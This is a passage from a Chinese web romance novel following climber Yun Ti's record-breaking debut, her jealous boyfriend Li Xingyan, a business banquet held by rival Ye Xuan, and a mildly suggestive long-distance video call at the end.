“不是!谁夸你了!”陈祉希气鼓鼓地瞪了一眼,“亏我还把你当成是我的偶像,没想到你竟然是这么卑鄙无耻的人!” 小姑娘圆圆的杏眼里闪着泪花,俨然一副气急到委屈的模样。 云媞莫名起了一丝恻隐,认真解释道:“我真不会,前两次是在观察模仿,不过完整看你演示一遍,基本就能摸清规则……” 眼见对方的小脸皱得越发苦巴巴,云媞陡然顿住。 直男附身一般,她无奈指着陈祉希,“啧,我早说了,输了可不要哭鼻子,你还真……” “啊啊啊啊!!!你闭嘴!” 陈祉希气到跳脚,但又无计可施。 从入门攀岩开始,她就一直是万众瞩目的“天才选手”。 一路顺风顺水,来自四面八方的掌声和夸赞,让陈祉希产生一种强烈的使命:世界攀岩的记录,终究会由自己创造。 可现在,有一个人横空出世,轻描淡写地打破历史最佳,更夺去原本属于她的荣耀。 五分二十一秒,这是她从未想过的成绩,“天才”二字都不足以形容对方的强大。 一股挫败油然而生,陈祉希沉默数秒,倏地抬眸,直勾勾盯着云媞:“你等着!总有一天我会超过你的!” 说罢,她愤然离去。 刚走出没几步,迎面碰到顾成玉,陈祉希脸上的愠恼霎时消散,张牙舞爪的气焰也随之收敛。 她微鞠躬,乖乖打了声招呼:“顾教练。” “嗯,”顾成玉笑着点头,“我刚看了你的表现,很棒,期待在更大的赛场上看到你发光发热,陈……” 说到名字,她一时卡壳。 憧憬和期待骤然破裂,陈祉希暗下眼眸,主动解围:“陈祉希,您可以直接叫我小陈。” 顾成玉其实知道她的名字,但碍于普通话不行,她刚才只是在犹豫,中间那个字该读平舌还是翘舌。 正要解释,小姑娘已经失魂落魄地转身离开。 不明所以地抚了抚额角,顾成玉径直朝云媞走去。 “你这丫头……” 本想好好问问她为何没有去岩馆,但笑意实在压不住,顾成玉败下阵来,扬着嘴角轻轻给了云媞肩膀一拳,“真给我长脸啊!” 她看人的眼光果然没错。 刚入门就能创造出这样惊人的成绩,真不敢想,经过系统训练后,云媞未来会是一副怎样的光景。 但夸归夸,该批评的还是得批评。 “你这胆子也太大了!什么都不懂,也不提前去岩馆试试,怎么就敢直接参加比赛的?不怕出点什么意……” 听到顾成玉的话,云媞疑惑打断,“我去了。” “啊?怎么会?”顾成玉掏出手机,“刚我还跟老张联系了,他说没见过你人呢。” “哦,我去的时候他不在,是一个老头儿带我进去的。” 那老头儿很不耐烦,也不爱说话,听到云媞是纯新手没试过速攀,直接就叫她上墙看看水平。 “你试了?”顾成玉瞪眼。 不出意外的话,那老头儿指的应该就是老张那位,苦练速攀n多年依旧难以突破十分钟的痴狂老友了。 “嗯。” “然后呢?” “然后……”云媞无奈耸肩,“他举起扫帚叫我滚,说我是在调戏侮辱他。” 嗯,天赋型选手初攀降维打击,底层攀岩佬化身顶级怨灵。 这搁谁谁能不阴暗扭曲爬行。 * 简单交谈后,顾成玉还要回去镇场。 临走,她特意询问云媞“是否需要安保护送”,被对方一脸莫名其妙地拒绝。 “行吧,那你自己注意些。”末了,顾成玉露出意味深长的笑容。 这时,云媞其实并未意识到,这场首秀创造了多么辉煌的成绩。 直到出场馆时,被乌泱泱的人群围得里三层外三层,她才明白顾成玉那个笑的含义。 这里不止有观赛的观众,还有收到网上风声而专程赶过来的粉丝们。 是的,才这么一会儿功夫。 #云媞速攀选拔赛破世界纪录#的热搜词条,已经爆了。 【这还是人类吗……十五米爬墙跟我在平地十米短跑似的!!!】 【没那么慢】 【什么东西啊chua得一下就飞出去了!要不是知道不可能,我甚至都怀疑她是被身上那根保护绳拽上去的!】 【上一秒还在群嘲媞姐“全能”人设大翻车,下一秒就破纪录引爆全网,太抓马了,也是没谁了】 【小说里这样写都要 被骂浮夸脑残!你告诉我居然是真实存在的?啊啊啊啊云媞到底还有什么是你不行的!】 【某媞心血来潮翻开一本大女主金手指爽文,看了两章心想:写的啥玩意儿,这也不爽啊!】 【媞,蹿那么快是要去哪儿?晚上还回来吃饭吗?】 …… 网上喜气腾腾,现场更是人声鼎沸。 “媞姐!媞姐!我爱你!” 被四五十岁的中年男人大喊“媞姐”,云媞整个人都不好了。 像应激的小猫,她倏地跳到车顶,炫技般连踏几辆车,最后蹬脚攀上墙沿,直接翻墙逃得没影了。 亲眼目睹一场酣畅淋漓的跑酷,众人一时愣在原地,面面相觑。 几秒后,爆发出更猛烈的欢呼。 不媚粉,不互动,连摆脱粉丝都用如此硬核的方式…… 啊啊啊啊啊太酷了!不愧是我们爱的女人! 至于云媞。 刚翻出场馆,一辆熟悉的骚包跑车飞驰而来,稳稳停在面前。 “媞宝宝!” 黎星言单手摘下墨镜,径直升起自动车门,笑得格外臭屁,“我果然才是最了解你的人嘿嘿,就知道你会爬墙出来,还好追上了!” 本来今天他是要陪云媞一起来的,结果临出发时,被导师突然发来的任务绊住脚步。 但今天是老婆的攀岩正式首秀,黎星言怎么可能会错过如此珍贵的场面,超高效完成学业后,他便马不停蹄赶了过来。 “所以你一直在场下看我比赛吗?” “嗯哼!”黎星言探身替她扣好安全带。 小猫不爱被束缚,媞猫猫也是,每次上车都忘记系安全带。 他自然而然愿为代劳。 “没有媞大冠军带路,外面保安都不让我进去,”说起这个,黎星言很是委屈,“害得我在场外买了张黄牛票,还被骗了!” 花了几千块钱,买了张原售价为0的公益门票,更可气的是,那无耻黄牛骗他在内场,进去了才发现在“千里之外”“万人之上”的看台区。 好不容易想自食其力、不动用社会人脉的黎小少爷,吃一堑吃一堑吃一堑。 那很饱了。 云媞失笑,凑上去亲亲他的唇瓣。 不知道为什么,很多时候仍感情迟钝的她,现在已经很了解黎星言所言所行的话外音。 就比如现在,他不是真的委屈或气恼,而是在暗戳戳地叫自己哄哄他。 果然,黎星言下一秒重展笑颜,喟叹道:“老婆还是近看更真实啊,隔那么远,好没有安全感……” 见她失利只能暗自着急,见她登顶也只能隔空欢庆,中间仿佛相隔一条星河,人群熙攘,遥不可及。 敏感的文艺男可受不了这种落差。 “不过……”黎星言方向盘一转,将车停靠在一个无人的空地,随后伸手去够后排的东西。 “铛铛铛铛!还好我有这个!” 他单手举起追星专用的“长枪大炮”。 “最新置办的行头,怎么样,不错吧?” 黎星言边埋头调出他给云媞拍的照片和视频,边满意咋舌,“媞宝宝第一站哥的名头,我当定了!” 别说,小少爷不愧是学艺术的,云媞那么快的攀岩速度,被他拍下来竟没有一张废图。 不仅脸没有崩,运动时的体态更是英姿飒爽,几组照片便将迅捷而强健的生命力和爆发力,展现得淋漓尽致。 就差拍出花豹本体了。 “很棒。”云媞笑着轻抚他的脑袋。 此男平时就已臭屁得不行,老婆夸一句越发喘上了。 顺着她的手心蹭了蹭,黎星言眨巴起漂亮的眼睛,“是我老婆怎么拍都好看!况且,爱你的人总能捕捉到你最美的样子!” “当然……”他狂压嘴角,超绝不经意地说,“本少爷自然也是有点水平在身上的啦。” 不仅有水平,更有心眼子。 凭借“云媞攀岩首秀绝美组图”和超话元老等级,黎星言成功打进云媞后援会。 不过,极其吝啬的他,只对外分享了九宫格图片,其余照片一律留给自己私藏。 有聪明粉丝根据镜头参数,扒出他当天的行头。 因为打扮出众又扛了个专业大炮,当时有人觉得稀奇,便偷拍了几张照片。 【啊啊啊啊啊我在看台看到过你!媞媞出场时,你当时全程狂按快门,不可能只拍了九张图吧!速速把其他图放出来饶你不死!!!】 【哟,男粉?装备挺齐全啊得花不少钱吧?我也拍了现场图,结果回家一看全是残影好想死】 【虽然戴了墨镜口罩,但看身形就知道肯定是个大帅哥!只要喜欢媞姐我们就是一家人了……所以,你那里还有其他照片吗嘿嘿】 【姐妹我真的超级喜欢云媞!能不能多分享一些照片呜呜呜,支持验证超话等级。错过了媞姐攀岩首秀真的好难过!拜托拜托跪求】 随着越来越多人攻入黎星言“追星”专用小号,他一时良心大发,正考虑是否匀出一些。 突然,私信窗弹出一个熟悉的id名。 【明娇娇V】姐妹你好呀~可以分享这组照片的原图嘛?拍得实在太好了好喜欢? 黎星言满脸问号,忍不住回道:“明娇娇,你不炒cp会死吗?” 【明娇娇V】卧槽忘切号了!不过你这人说话也太刻薄了吧!不出就不出,有必要这么冲吗?(竖中指 懒得理她。 黎星言刚要退出界面,又来了一条私信。 【一叶扁舟】云媞比赛照片卖吗?任你开价,有意可加vx…… 点进这个人的主页,头像是一条似曾相识的小船。 注册时间就在今天,没有发过一条动态,显然是刚开的小号。 以为是什么照片贩子或狂热私生粉,黎星言皱着眉头,将这人留的vx号复制到搜索框。 【陆上行舟】 四个大字明晃晃地跳了出来。 正是早已双向拉黑的路之舟! 曹贼!我就知道你贼心不死!!! 黎星言扭曲着脸,就在一场大战即将拉开帷幕之际。 他霎时灵机一动。 微信账号全部信息改头换面,过往动态隐藏,发布一条九宫格朋友圈:【超人气顶流女星及预备奥运金牌得主,云媞攀岩首秀照!先到先得,有意私聊!】 很快,评论区哐哐留言。 【?黎少你干啥呢,被盗号了吗?】 【捏妈这是把情敌骗进来杀啊,好狠……】 【好一个先到先杀,有意死鸟】 有备注的好友自然不会上当,但黎星言钓的就是那些躲在暗处的漏网之鱼。 果不其然,不爱备注的蠢蛋班列第一个上钩。 不过他不在黎星言的捕捞范围,放掉。 随着越来越多话没说过几句、也不知什么时候添加的好友跑过来高价收图,黎星言人麻了。 骂人骂到嘴干,删人删到手软。 直到最新弹出几条消息。 【叶玄(重点防范对象)】你是云媞的粉丝?我们什么时候加的? 【叶玄(重点防范对象)】有多少照片,开价,我全要了。一次性买断,请不要再对外传播或倒卖。 【叶玄(重点防范对象)】即使再爱她,也请你讲点素质。 啊啊啊啊啊啊都去spa!!!—— 作者有话说:黎少:就是这么没素质,那咋了!你有素质你还对别人老婆念念不忘![愤怒] 第88章 几日后,攀岩国家队入选名单公布,《无渡》剧组也顺利杀青。 云媞的拍戏生涯暂告段落,即将步入新的旅程——随队进行冬训集训。 不过在此之前,她有一星期左右的缓冲过渡期。 短暂的假期并不轻松。 即使贺君卓已经推了许多通告及邀约,但云媞太火了,试图找她专访的媒体也不胜枚举。 从求生综艺大神到坚守武替本职,从救场跨界做演员再到为国家荣誉而战,外界赋予了云媞连 她自己都没意识到的褒誉。 事业上升期激流勇退,放弃娱乐圈光鲜亮丽的名利场,返璞归真。 无惧前方道阻且长,身披红旗为国出征,这得有多么伟大而崇高的灵魂啊! 就这样,莫名其妙的,云媞在国人心中的形象和地位再次骤升。 云媞本人对此并无感觉,黎星言倒应激了。 整天疑神疑鬼,见异性将视线多停留在老婆身上几秒,就开始无差别狂吠。 每到这时,云媞话都不用说,拿美眸睨他两下,黎狗便自觉戴上“止咬器”,乖乖去舔主人的手。 好几次,他俩相处的画面被路人拍下发到网上,引起大范围“群嘲”。 特别是黎星言的追星小号,被列文虎克网友们识破后,更添一场互联网笑料。 既然暴露,黎星言也不装了。 每天两个号换着在微博秀老婆,分享日常,偶尔写点文艺小酸诗。 但无论他发什么,网友们都不领情,整日在评论区“谩骂”,甚至不混圈的觉得有趣也进来踩两脚。 【媞姐以后要是不继续做女明星或奥运冠军的话,还可以当训犬师哈,把这恶犬调教得杠杠的(竖大拇指】 【早说了,太听话就会变成云媞的玩具!黎少,听我一句劝,你养尊处优惯了,承受不来的,让我替你受过吧】 【一条狗的使命】 【黎星言你记住了,要是敢拿婚姻和家庭绑住媞姐,让她沉迷于男色无心事业,甚至退圈,你就等着吧,我们千万媞粉天天在你两个号里烧香刨坟】 【说的好像你们媞粉现在很理智一样,总是骂人家做什么?我觉得黎少很好啊,闭着眼睛都知道选黎星言吧,睁开眼睛就不好说了】 【有完没完啊大哥,整天发这种东西到底是谁要看啊,有本事把你老婆叫出来!】 【感觉你是那种跪在老婆面前说:男子汉大丈夫说不起来就不起来的人(黄豆冒汗)】 【别骂了大家,打狗还要看主人呢!是的我要看媞媞主人嘿嘿】 【从狗的全世界路过】 …… 黎星言开辟了一条前所未有的“被网暴”新路径。 但他的脑回路奇特,不觉恼怒,反而觉得网友们实际是认可了他“云媞正牌男友”的身份。 【是媞媞的小狗黎V】果然,粉丝只对真姐夫破防。如果你们知道我老婆有多爱我,也会嫉妒我好命~ 于是…… 偶尔对骂,经常抽奖,每天炫耀老婆拉仇恨,粉丝数蹭蹭猛涨。 也算是发了一笔“老婆财”。 这天,黎星言大半夜不睡觉,又在微博犯了个小贱。 突然想起什么,他倏地从床上弹起来,直奔衣帽间。 叶玄公司上市,明日特设庆功宴,邀请他们赴宴。 虽然上次被误认为“照片贩子”后,对方很快便意识到是一场乌龙,主动致歉求和。 但高傲且小心眼的黎少并未回应。 所以两张宴会邀请函,只能全部发到云媞那儿。 作为原始大股东,她没有理由不去。 “诡计多端的装货!什么庆功宴,狗都不——” 去!去的就是庆功宴! 气鼓鼓地挑出几十套定制正装,黎星言心想:我去你的!你们这些心机男都别想有任何可乘之机! 将置衣推车滑到卧室。 云媞睡得正香。 犹豫片刻,骚包少爷忍不住将她亲醒,“媞宝宝先别睡了,快帮我看看,我明天穿什么最能给你长脸!” 云媞迷迷糊糊眯起眼。 只见他将数十套衣服拿出来,不厌其烦地通通试了一遍,一边试,还一边不停地问:“这件好不好看?” “这件和刚才那件比,哪个更能衬托我鹤立鸡群的气质?” “穿这套能不能艳压全场男人?好让他们望而生畏自觉退散……” “嗯嗯,”云媞两眼一闭就是睡,“好看好看……” 眼看又要睡过去了,黎星言试衣服的手一顿,“媞媞!你看一眼嘛!” 长夜漫漫,万籁俱寂。 文艺病犯了,某男开始随地大小演。 “你现在竟连看都不愿意看我一眼,这么快就厌倦了是吗?我早该知道,所有的爱到最后都会凋零。” 黎星言感伤抬头,45°仰望天花板,“果然,没有自己一番事业的家养男,终究是不配得到女神毫无保留的爱,也注定无法从单向的爱中汲取养分……” 作精怨夫喋喋不休。 吵得云媞一把掀开被子,坐直身子,指向门外,“黎星言!不睡就滚出去!” 被骂了,消停了,老实了。 “睡睡睡!”黎星言连滚带爬上了床,贴心地拉起被子替老婆盖好,低哄道,“媞宝宝,对不起我错了。” 再亲亲她的脸颊,他小心翼翼问:“我还是你最爱的人,对吧……” 云媞气笑了,反手用被子将他整个人捂得严严实实,再欺身压下,“一个月快到了吧?你等着!” 被子下的男人抖了抖,颤着声线喊道:“谋杀亲夫!不要啊……” “不要因为我是一朵娇花就怜惜我啊!媞媞女王请尽情蹂躏我吧~”- 宴会如期而至。 与平日私人聚会相比,今天的更偏商务。 叶玄邀请了不少有过商业往来的合作资方及潜在客户。 他现在生意做得水涨船高,短短半年便跻身进入最年轻最具潜力的青年企业家行列,许多商界大佬纷纷抛出橄榄枝,他可谓风头无两。 云媞和黎星言抵达宴会厅时,不早不晚。 叶玄正在和其他来宾洽谈新的合作项目。 见他俩来,他轻拍对方肩膀,笑着举杯自罚,“抱歉,失陪一下。” 说罢,不再过多周旋,径直朝他们走去。 叶玄长相硬朗,身形健硕,当下穿了一套剪裁得体的深灰色西服,莫名透出一股难言的压迫感。 当然,这是在外界看来。 压根不将他放在眼里的黎少爷,挑眼浅浅打量一番,嗤道:“装得倒是挺人模狗样。” 零帧起手这怎么躲? 叶玄啼笑皆非,“还生气呢?那段时间加的人太多了,真忘了备注……” “闭嘴!”黎星言慌乱打断。 妒夫归妒夫,他才不想闹到媞媞那儿,万一不小心促成他俩“死灰复燃”…… 一个眼神过去,叶玄也心领神会转移话题。 云媞并未察觉两个男人之间无声蔓延的硝烟,疑惑瞟了几眼,只当这两人天生不对付。 没多久,叶玄又忙于应酬去了。 不过,他特地给求生小队留了观景视野最佳的那桌。 吃吃喝喝中,班列、贺君卓、明娇娇等人也陆续到了。 氛围一下从觥筹交错的成人局,变成了扎堆叽叽喳喳的小学生局。 最后到的是崔达和苏简。 他俩穿着同色系大衣,苏简将手挽在崔达臂弯处,一个身壮如牛粗犷糙汉,一个纤细高挑柔情似水,但两人脸上洋溢着同样的幸福。 “你、你们……”明娇娇手指在两人之间来回扫动,倏地惊恐捂住嘴巴。 “我去?你俩在一起了???”贺君卓稀奇地围着打量一圈,“叶哥说了今天宴会一定得带侣伴吗?装的吧你们!” 不是装的。 云媞闻出他们体内格外融洽的气息,笑着举杯,“恭喜。” 黎星言跟屁虫似的附和道:“百年好合,早生贵子!” 虽不知是否是自己多心,在荒野时,崔达似乎也对媞媞颇为上心,现在能找到真爱,哥们儿是由衷为他感到高兴啊! 太好了,情敌又熬走了一个! 其他人见状,一边咋舌,一边送上祝福。 “啥时候在一起的?这也太突然了吧!” “好家伙,美女与野兽……” “哎哟阿简怎么看上了这大老粗!痛心疾首!” 知是打趣,崔达不好意思地挠了挠后脑勺,视线在云媞身上游移一瞬,很快坚定地望向笑盈盈的苏简。 “也就前几天的事 儿,彼此确定下来了才敢跟大家说,免得会错意嘛……” 这件事还得从数月前说起。 从荒野回归现实后,崔达依然选择做老本行——野外探险,不过他不再自娱自乐,而是结合直播,开辟小众旅行线路。 每期带四到六名驴友出游,不说精品探险线路的团费,光是直播打赏就获得了超出意想的收益。 前段时间,他带队穿越西北戈壁,遇到一个围猎野生动物的越野俱乐部,对方实在残忍且猖狂,甚至扬言:“上头有人,报警也不怕。” 崔达咽不下这口气,于是找机会救下受伤动物,但在与那群人正面硬刚时身中数刀,差点一命归西。 再醒来时,负责他手术的医生正是重回外科重症中心的苏简。 住院一个多月,一来二去,两人暗生情愫。 然而,最先踏出那一步的是苏简,送崔达出院那天,她直接了当地问:“你人不错,我也不差。要不要试一试?” 说实话,这么美丽知性的女人向自己表白,完全不心动是假的,况且崔达有自知之明,长得不如黎星言精致漂亮,也不如叶玄俊朗刚毅。 他就是个粗人,何德何能…… 这种犹豫在苏简看来似乎是心有所属的摇摆,她坦然笑道:“是因为媞媞吗?我看得出来,你喜欢她。” 崔达心中一紧,开口解释的话变得磕磕巴巴。 他起初对云媞或许是有些悸动,但后来敬重反而超过爱慕,越深入相处,她越像是自家小妹妹。 从年龄上来说,也的确如此。 “你喜欢她也没事,”苏简随意摆了摆手,毫不在意地说,“毕竟,我也喜欢她。” “谁能不喜欢媞媞呢?”她眨了眨眼,露出俏皮的一面。 崔达呆呆望着,心跳得格外快。 第89章 当然,崔达和苏简谈起这件事时,心照不宣地隐去有关云媞的话题,只说他俩在医院相处过程中互相看对了眼。 黎星言听着听着回过味,“你说的那个俱乐部……不会是芝盾吧?” “好像是叫这名儿,”崔达仍愤懑不平,“听说这俱乐部幕后老板在国外畏罪潜逃,还上了新闻的!还好国内产业最后被查封了,啥玩意儿太不是东西了……” “怎么了黎少?你认识?”苏简问。 此话一出,不止黎星言,云媞、班列还有隐隐知道些内情的贺君卓神色各异,心虚目移。 何止认识啊,直接把人家老巢都掀了。 黎星言轻咳一声,“隐约有听说过吧,确实闹得还挺大……” 他慨叹地将曾经的“莽夫”崔达细细打量一番,看得对方都快起毛了,才由衷地拍了拍他的肩,“好人有好报,你俩结婚那天我绝对包个大的。” 想得到黎小少爷的认可属实不容易,崔达和苏简相视一笑,连连点头应好。 大家嬉嬉笑笑,谈天说地,生生将这个商业场划出一块清净地。 云媞闷头吃得开心,陡然闻到一股熟悉的气息。 微微偏头,宴会厅的另一侧,叶玄和陆景天正交谈甚欢。 …… “后生可畏,前途无量啊!” 听完叶玄下一步的商业蓝图,陆景天主动举杯称赞。 尽管只是寥寥几句,他仍能从中看出这位年轻人眼光毒辣、雷厉风行,是不容小觑的商界奇才。 “唉,要是我儿子能多向你学习学习就好了……” 陆景天无意通过贬低自家儿子去奉承“别人家的孩子”,反倒像是一种暗戳戳地炫耀,“不过也算是子承母业了,才华全点在艺术造诣上,一点没随我。” 叶玄低头笑道:“黎少的确很有才情,性子更是率真开朗,讨人喜欢。” “咦?你们认识?”陆景天讶异。 “我和他,还有媞媞,参加的是同一档节目,”叶玄压低杯口、微躬敬酒,解围道,“陆董日理万机,估计还没来得及细看吧。” 陆景天赧然,心知叶玄在借此拉近关系,但莫名有被内涵到“不称职的父亲角色”。 “原来如此,看来,还得多亏小叶对他的照拂……” 叶玄摇头,“我并未出什么力,媞媞才是我们整个团队的风向标。” 他顿了顿,“当然,黎少也很好,他们十分般配。” 说到这儿,他低眉浅笑,“实不相瞒,若没有媞媞和黎少的资助,我恐怕没法像现在这样一帆风顺……” “此话怎讲?” 直视对方的眼睛,叶玄神色自若地说:“陆董有所不知,创办公司的启动资金是云媞投给我的,所以,她也是我司最有分量的股东之一。” 陆景天暗自挑眉,倒是没想到小辈们之间还有这番渊源。 不过…… 他抬眸,瞬息之间,便敏锐地捕捉到叶玄对云媞那种秘而不宣的情愫。 老狐狸顿时警铃大作,面上却装作淡然,“媞媞这孩子聪慧善良,对好友慷慨相助,促成小叶在商界的一番佳话,我这做家翁的也很是欣慰。既然有这层关系在,以后说不定我们会常交流合作,来日方长嘛。” 一:媞媞给你投资是心地善良,一眼看中了你的商业价值,没有别的意思。 二:你们只是普通朋友,别瞎想。 三:我儿子和媞媞结婚,我喜当公公,这是铁板钉钉的事,不管你以前有什么心思,以后都老实收起来。 最后:敢越界就死定了,我会永远视奸你,永远永远! 叶玄听懂了他的话外音。 陆景天并未因身居高位而轻视云媞,也并不像其它豪门看重家世而棒打鸳鸯。 明白这点后,他莫名松了口气,紧接着是怅然。 “静候佳音。”叶玄敛眸笑道- 结束寒暄,陆景天越想越担忧。 起初对叶玄的欣赏也演化成警惕。 傻儿子啊傻儿子,怎么和这种心机深沉的情敌走得这般近!你到底知不知道他惦记着我的好儿媳! 在宴会厅巡视几圈,正要将傻白甜儿子拖出去耳提面命一番。 一个拐角,陆景天与云媞迎面撞上。 他无端心虚,佯装毫不知情地问:“媞媞,你也在这儿?” “陆叔叔是受叶玄邀请过来的吧?”云媞单刀直入,“你觉得他人怎么样?” 要是和原书一样,相见恨晚,当场结成忘年交……死老头,你就别怪我直接帮黎星言开抢家产了。 未曾想陆景天不仅没多加褒奖,反而脸色骤变,硬邦邦地说:“不怎么样!” “少年老成,心思活络,为人不纯,合作可以,万不能深交。” “啊?”云媞迷茫眨眼,下意识道,“他也没这么差吧。” 当然没这么差!小伙子人品没得说,有心机但更有底线,是个可塑之才。 但……对不起了小叶,我不可能将我的好女儿拱手相让,更不能让我傻大儿落败情敌整日以泪洗面! 陆景天面不红心不跳,反问云媞:“难道你觉得他比黎星言好吗?” “倒也没有……” “那不就得了!” 眼见叶玄朝这边走来,陆景天不容她细想,径直揽住云媞的肩膀反方向而行,“媞媞,反正你和小言情投意合,要不算个吉日先把婚订了?” “还有啊,以后别叫我陆叔叔了,显得怪生疏的,你看你都叫黎冉妈妈了,我就不配让你叫声爸爸吗?小姑娘是不是还在怨我上次那件事呢?” “这样,我表个态,等你在外面玩够了,尽兴了,要是想换个领域重新挑战,就来我集团试炼试炼……” 说到这里,陆景天顿住脚步,正色道:“我们家没有婚姻破裂的先例,既然决定相伴一生,就不能半途抛夫弃子,你……能做到吧?” 云媞偏头,与那双长了细纹但依旧清亮的深邃眼 眸对视数秒,兀地笑了。 还真是亲父子,一样的喋喋不休又欲盖弥彰。 在对方期待的目光下,云媞慢悠悠吐出两个字:“啰嗦。”??? “嘚,算我多嘴!” * 陆景天日理万机,业务繁忙,现身一面算是为叶玄撑场。 临了又与黎星言交代几句,便匆匆离席。 而另一边的黎少还在单方面与老爹“冷战”呢,听到他那番意味不明的告诫,许久没回过神。 什么叫“尽量让媞媞少和叶玄私下单独接触”?怀疑我老婆心不定,容易被别的男人拐跑? 什么叫“不要和叶玄作对,玩心机你斗不过他”?意思我很蠢,不如叶玄聪明能干呗! 什么叫“男人在没有闯出自己的事业之前,太恋爱脑会被女方轻视”? 霸总说到底还是瞧不上我们家庭煮夫呢! 再说了,我哪里没有自己的事业! 宴会结束,黎星言落在人后,对坏爹的话百思不得其解。 一抬头,走在前面的云媞差点和叶玄牵上手了! 不过,指尖刚要触上,云媞率先察觉不对劲,偏头回看,“诶,你怎么跑我右边了?” 叶玄下意识抬起的手腕悬在半空,有些不自在地蜷起,“想着再送你们一程……” 他轻咳一声,掩饰心虚般摸了摸鼻尖,“那边人多,好不容易脱身。” 云媞只是随口一问,并不在意他的解释。 她将视线再往后望去。 黎星言就站在一米开外的位置,怨念十足地盯着他俩。 …… “又怎么啦小少爷?” 一路上,黎星言撅起的嘴可以顶一瓶汽水了,但他不说话,把头偏向车窗外。 云媞刚开始还顺毛摸一下,轻声询问他怎么不开心。 但黎小少爷这种作精,显然是懂得如何恃宠而骄的。 他不说自己哪里不爽,就这么时不时突然扭头盯着她,再重重地冷哼一声。 好像在说,你自己想吧,想不出错在哪儿了我是不会原谅你的! 最后把云媞的耐心耗尽,直接毫不留情一巴掌拍上他的后脑勺,“好好说话!” 鼻子一酸,眼一红,黎星言委屈巴巴地埋头狂蹭老婆的香软怀抱,“你刚才为什么要牵叶玄的手!我都看见了!” “没牵上啊。” “你还想牵上?!”黎星言急了,“你、你是不是真的开始嫌弃我了,为什么……” 没等云媞开口,他急忙侧着身子指了指自己的脸,“是我这张脸不好看了吗?媞媞看厌了吗?” “我每天都有好好护肤保养、认真穿搭打扮,你要是不喜欢我现在这种风格,我还可以扮演其他的,制服诱惑?阴湿男鬼?衣冠禽兽?还是清心寡欲的京圈佛子……啊,清心寡欲我扮不出来,一看到媞媞我就有好多欲……” “还是说,我做的菜媞媞也吃腻了?”黎星言想了想,兀自心生愧疚,“我现在还只会做二百五十七道菜、一百零三种甜品,好像确实少了点,但是我还在努力学嘛,媞媞你想吃什么一定要直接告诉我……” 说着说着,他低下头,闷闷道:“你还是觉得我什么都不如叶玄吗?” 媞媞爱他,毋庸置疑。 但正如所有经典文艺作品揭示的那般,白月光与朱砂痣,是感情中无法绕过的话题。 他怕叶玄是那束得不到就骚动的白月光,而自己变成了爱情保鲜期过后的蚊子血。 “什么鬼……”云媞紧蹙眉头,听不懂文艺人的一套套理论,“你在说梦话吗?” “你把自己的奖金分给他创业,对他的邀请毫不犹豫就赴约,刚才还差点和他牵手……”黎星言越说越绝望,陈芝麻烂谷子的事也了翻出来,“还有,我至今都不知道综艺结束回国那天,你们单独说了些什么……” 云媞咋舌,终于明白那句“恋爱中的小男人最难缠”是什么意思。 至于黎星言这种“比格型男友”,更是爱的折磨。 不过,忍人媞并不觉负担,反而乐在其中。 “不是分给他,是借,也就是你们说的投资。什么毫不犹豫赴约,不是你先说要过来艳压全场的吗?牵错了,我以为你像以前一样跟在我右手边。” 至于最后一个问题,云媞顿了顿,决定还是不告诉他“这个世界是本小说”。 因为结果可想而知,黎星言绝不会接受叶玄才是主宰世界的男频男主,而自己只是个“对照组反派傻二代”。 “回国那天,我跟他说的是,我可以提供资金帮他创业,但前提是他以后也得感恩戴德,因为……”云媞睨了黎星言一眼,“我怕他记恨你在荒岛时总针对他,以后飞黄腾达了反踩你一脚。” 黎星言嘴角越翘越高。 本来就只是情绪上头忍不住小作一下,由此确认自己在媞媞心中的地位不减而已。 但没想到,那时媞媞就如此在意他了! “好吧,”黎星言嘚瑟地挪了挪屁股,凑得更近些,“最后一个问题。” 云媞挑眉,示意他说。 “那我今天艳压他们了吗?”黎星言亮着眼眸,臭屁地做了个摸发型的动作。 云媞哑然失笑,“嗯,压得死死的。” 一个车程不到,所有话都说开了。 下车时,黎星言故意伸出手,作势要去牵云媞,被她一巴掌拍开。 某男又开始皮痒了,阴阳怪气地说:“哦,不肯牵我手,是不是还是觉得那小子的手比较好牵啊?” “牵牵牵!”云媞一手攥住他的虎口处,用力屈指捏握,“我牵不死你。” 疼得黎星言顿时鬼哭狼嚎。 望着两人渐行渐远的身影,司机笑得合不拢嘴,良久才打了方向盘,驶向车库。 哎哟喂,可爱的小情侣连吵架都这么有节目效果,这班上得可太有意思了!—— 作者有话说:叶玄:有没有人为我花生啊!我什么都没做,怎么感觉已经被各种大锅压得直不起腰了! 国庆快乐啊宝宝们![撒花][撒花] 第90章 黎星言修养期结束,导师催他尽快返校。 不过这个时间点很微妙,回校后只用待数天便要期末考,然后准备迎接寒假。 所以他这趟离开得很痛快,甚至开始畅想和云媞的完美假期,而且……刚好一个月,他的身体已经养得血脉喷张、心潮澎湃了! 小算盘打得很好,但他没料到国家攀岩队的冬训不在国内,也不在M国,而在相隔十万八千里的另一半球! 又要异地恋了!!! 痛恨这个世界!!! …… 结束每日例行训练,云媞将汗巾随意搭在肩上,拉开更衣室的独立房间。 她各项指标完成得快,此时更衣室空无一人。 换完衣服,坐在凳上休息了几分钟,云媞掏出手机给黎星言打了个视频电话,随即戴上一侧蓝牙耳机。 按往日时间,他这会儿应该刚起床。 但今天铃声唱了半曲,接近尾声时才被接通。 “媞媞……” 黎星言慌乱靠坐在床头,面色潮红,头发也有些凌乱。 不对劲。 云媞以为他出了什么事儿,心陡然揪起,“你怎么了?哪里不舒服?” “想你想得难受……”他的声音低沉沙哑,垂着那双满是眷念的狗狗眼,浑身透出一股黏糊糊的潮气。 放大屏幕,眼尖的云媞瞬间发现他右手不自然蜷起,似乎在掩盖什么。 “右手压着什么?”云媞冷声问。 屏幕那头的黎星言犹犹豫豫、吞吞吐吐,眼神也隐隐有些闪躲。 “快点!” 黎星言吓得一哆嗦,红着脸挪开手掌。 是女性的贴身衣物。 准确的说,是曾被云媞抓包过“洗太多次,没有媞媞味道了”的内衣裤。 云媞一下懂了,好整以暇地笑道:“进行到哪一步了?” “就、就刚酝酿……” “我又不是不知道你有这种癖好,心虚什么?” “知道和看到又不一样……”黎星言有时虽没脸没皮,但偷偷摸摸做这种事被当场逮住,还是会莫名羞赧。 不过也就这么良心不安一瞬,反正已经变态了,不如将变态贯彻到底。 “坏媞媞,打断了我的好事,罚你给我多寄几条过来!” 此男就 是这么理不直气也壮。 云媞被他这无赖劲儿逗乐了,身子后仰,懒懒地靠在衣柜上,“寄这个有什么用,自己一个人玩有意思吗?” “那你又不在我身边,我能怎么办,只能睹物思人了嘛。”黎星言委屈巴巴地瘪嘴。 “哦。”云媞将前置镜头朝胸口移近,微微压低,再故意将训练服的拉链往下划。 